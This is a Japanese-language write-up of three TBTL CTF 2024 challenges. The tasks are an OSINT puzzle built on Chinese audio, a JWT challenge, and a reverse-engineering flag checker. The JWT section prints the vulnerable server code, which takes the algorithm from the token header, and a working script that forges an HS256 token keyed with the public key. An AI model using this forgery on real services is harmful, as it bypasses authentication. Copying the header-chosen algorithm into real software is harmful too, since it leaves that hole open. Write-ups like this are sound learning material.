TBTL CTF 2024に参加しました
時間があまり確保できなかったので自分の解いたIntroを除く3問分だけです
戦績はこんな感じでした
Misc
Tower of Babel
祝你好运
翻訳したらGood Luckとのこと
とりあえず、配布されたmp3
を聞いてみると中国語っぽい??
筆者は残念ながら中国語話者ではないため、翻訳したい。
音声を直で翻訳するのはむずかしいのでとりあえずテキスト形式にしたい。
https://app.notta.ai
このサービスを使用してテキストにしてみた。出力は以下のとおりである
该标志的格式如常,我们的合作伙伴云海连锁控股有限公司,总部位于海南岛海口附近,找到距离他们的办事处最近的银行,标志内的内容是该银行的统一社会信用代码,代码以九十一开始,以五十六结束。
これを、何個かの機械翻訳に通した結果内容は大まかに以下のとおりであることが分かった。
この標識の形式は通常通りで、私たちのパートナーである「雲海連鎖控股有限公司」の本社は海南島の海口近郊にあります。彼らのオフィスに最も近い銀行を見つけ、標識にはその銀行の統一社会信用コードが記載されています。コードは91で始まり、56で終わります。
とりあえず、雲海連鎖控股有限公司
なる会社を探せばよさそう。場所は海南島海口市
ただし、AIでトランスクリプトしたので会社名のような固有名詞は正しく翻訳できていない可能性が高いことに留意する。
Baiduで検索した結果以下のページを発見
https://www.ssc-hn.com
住所を調べると実際に海南島海口市なのである程度の確信を得る
住所: 海南省老城高新技术产业示范区海南生态软件园沃克公园8831栋
敷地内?に銀行が見えるので、これもまたBaiduで検索してみる
以下のページを発見
https://gongshang.mingluji.com/hainan/name/%E6%B5%B7%E5%8D%97%E6%BE%84%E8%BF%88%E5%86%9C%E6%9D%91%E5%95%86%E4%B8%9A%E9%93%B6%E8%A1%8C%E8%82%A1%E4%BB%BD%E6%9C%89%E9%99%90%E5%85%AC%E5%8F%B8%E7%A7%91%E6%8A%80%E6%94%AF%E8%A1%8C
91
で始まり、56
で終わっている。
この社会信用コードをフラグとして提出して終了
your paper please
#!/usr/bin/python3
import base64
import datetime
import json
import os
import signal
import humanize
import jwt
# openssl ecparam -name secp521r1 -genkey -noout -out private.key
# openssl ec -in private.key -pubout -out public.pem
PUBLIC_KEY = u'''-----BEGIN PUBLIC KEY-----
MIGbMBAGByqGSM49AgEGBSuBBAAjA4GGAAQBGOtycGkAMpTEDsjFykEywLecIdCX
1QIShxmJB0qJj9K2yFNwJj/eRR6yzIZcHJPZWzQU6Mad62y1MsJ8uOgdZ2sBmkS0
HJtT4FZq/EQbtkHeahsDnSLbFpPfoN/t8hmKrVmDzDRGe3PNl7OQVuzoY2TVSxVK
IKmpZ9Pw9/5HOzSmOxs=-----END PUBLIC KEY-----
'''
def myprint(s):
print(s, flush=True)
def handler(_signum, _frame):
myprint("Time out!")
exit(0)
def decode(token):
signing_input, crypto_segment = token.rsplit(".", 1)
header_segment, payload_segment = signing_input.split(".", 1)
print(header_segment)
header_data = base64.urlsafe_b64decode(header_segment)
header = json.loads(header_data)
alg = header["alg"]
return jwt.decode(token, algorithms=[alg], key=PUBLIC_KEY)
def main():
signal.signal(signal.SIGALRM, handler)
signal.alarm(300)
myprint("Your papers, please.")
token = input()
mdl = decode(token)
assert mdl["docType"] == "iso.org.18013.5.1.mDL"
family_name = mdl["family_name"]
given_name = mdl["given_name"]
expiry_date = datetime.datetime.strptime(mdl["expiry_date"], "%Y-%m-%dT%H:%M:%S.%f")
myprint("Hello {} {}!".format(given_name, family_name))
delta = expiry_date - datetime.datetime.now()
if delta <= datetime.timedelta(0):
myprint("Your papers expired {} ago!".format(humanize.naturaldelta(delta)))
exit(0)
flag = open("flag.txt", "r").read().strip()
myprint("Your papers are in order, here is your flag: {}".format(flag))
exit(0)
if __name__ == '__main__':
main()
以上のpythonスクリプトが渡される
中身を読むとどうやらJWTで認証っぽいことをしている
JWT詳しくないので取り合えずいろいろ資料を読む
ポイントはここだった
alg = header["alg"]
使用するアルゴリズムが決まっていない。トークンに書いてある内容をもとに動的に決めるようになっている。ユーザーが、アルゴリズムを決定できてしまう。
とりあえずalg=none
で挑むもダメ。昔はアルゴリズムをnone
にするとすり抜けられたらしいが、最近は対策されているようだ。
次に使ったのがHS256
このアルゴリズムは、公開鍵暗号方式ではなく同じキーを使っているかどうかつまり共通鍵なのでハードコードしてある公開鍵をキーに設定すれば通りそうだ
import base64
import json
import jwt
PUBLIC_KEY = u'''-----BEGIN PUBLIC KEY-----
MIGbMBAGByqGSM49AgEGBSuBBAAjA4GGAAQBGOtycGkAMpTEDsjFykEywLecIdCX
1QIShxmJB0qJj9K2yFNwJj/eRR6yzIZcHJPZWzQU6Mad62y1MsJ8uOgdZ2sBmkS0
HJtT4FZq/EQbtkHeahsDnSLbFpPfoN/t8hmKrVmDzDRGe3PNl7OQVuzoY2TVSxVK
IKmpZ9Pw9/5HOzSmOxs=-----END PUBLIC KEY-----
'''
header = {"alg": "HS256", "typ": "JWT"}
payload = {
"version": "1.0",
"docType": "iso.org.18013.5.1.mDL",
"family_name": "TURNER",
"given_name": "SUSAN",
"birth_date": "1998-08-28",
"issue_date": "2018-01-15T10:00:00.00",
"expiry_date": "2024-08-27T12:00:00.00",
"issuing_country": "US",
"issuing_authority": "CO",
"document_number": "542426814",
"driving_privileges": [
{
"codes": [{"code": "D"}],
"vehicle_category_code": "D",
"issue_date": "2019-01-01",
"expiry_date": "2027-01-01"
}
],
"un_distinguishing_sign": "USA"
}
jwt = jwt.encode(payload=payload, key=PUBLIC_KEY, headers=header, algorithm="HS256")
print(jwt)
このスクリプトで生成したトークンを使ったところフラグが入手できた
参考にさせていただいたブログ
セキュリティ視点からの JWT 入門
rev
flagcheck
64bit ELF
アセンブラのまま読もうとしたが、ある程度複雑なことやってたのでghidraに移行
だいたいこんな感じ
- 入力は63文字でなくてはならない
- 入力を使って乱数シードを生成
- 乱数を生成して入力とXORしてから, ハードコードされたバイナリと比較
初見では、シンプル故にどうやって解くのか本当にわからなかった。
ポイントはシードを生成するこの行
seed = (int)pass[i] * seed;
seed
の計算は乗算で行っているため、入力に一度でも0
が混ざれば最終的なシードも0
になる
まさかな...と思いつつも他に方法が思いつかないのでこんな感じのエクスプロイトコードを書いて試す。
シード0
で乱数を生成して、元のコードに沿ったことをしているだけ。
import subprocess
target = [
0x33, 0x84, 0x3d, 0x3f, 0x2a, 0x93, 0x7b, 0x82,
0x1a, 0xac, 0x8e, 0xf4, 0xb1, 0xcb, 0x8d, 0x21,
0x0e, 0xb7, 0x67, 0x96, 0x2c, 0x81, 0xd3, 0xbc,
0x29, 0x6c, 0x4b, 0x0d, 0x00, 0xed, 0xfd, 0xee, 0x56,
0x40, 0x52, 0xd5, 0x05, 0x6d, 0x90, 0x3e, 0x7a,
0x1b, 0x69, 0x23, 0x1f, 0xb6, 0x1d, 0xbc, 0x98,
0xd1, 0xa6, 0x83, 0xe9, 0xeb, 0x13, 0x21, 0x3d,
0xf8, 0x2b, 0x79, 0x53, 0x4f, 0xa1
]
result = subprocess.run(['./check_rand', str(0)], capture_output=True, text=True)
print(result.stderr)
res = result.stdout.split("\n")
rand = []
for i in range(len(res) - 1):
rand.append(int(res[i]) % 0x100)
print(rand)
flag = ""
print(len(target))
for i in range(63):
flag += chr(target[i] ^ rand[i])
print(flag)
フラグが出てしまいました
TBTL{l1n3a4_C0ngru3n7i41_6en3r4t0r_b453d_Fl4G_Ch3ckEr_G03z_8rr}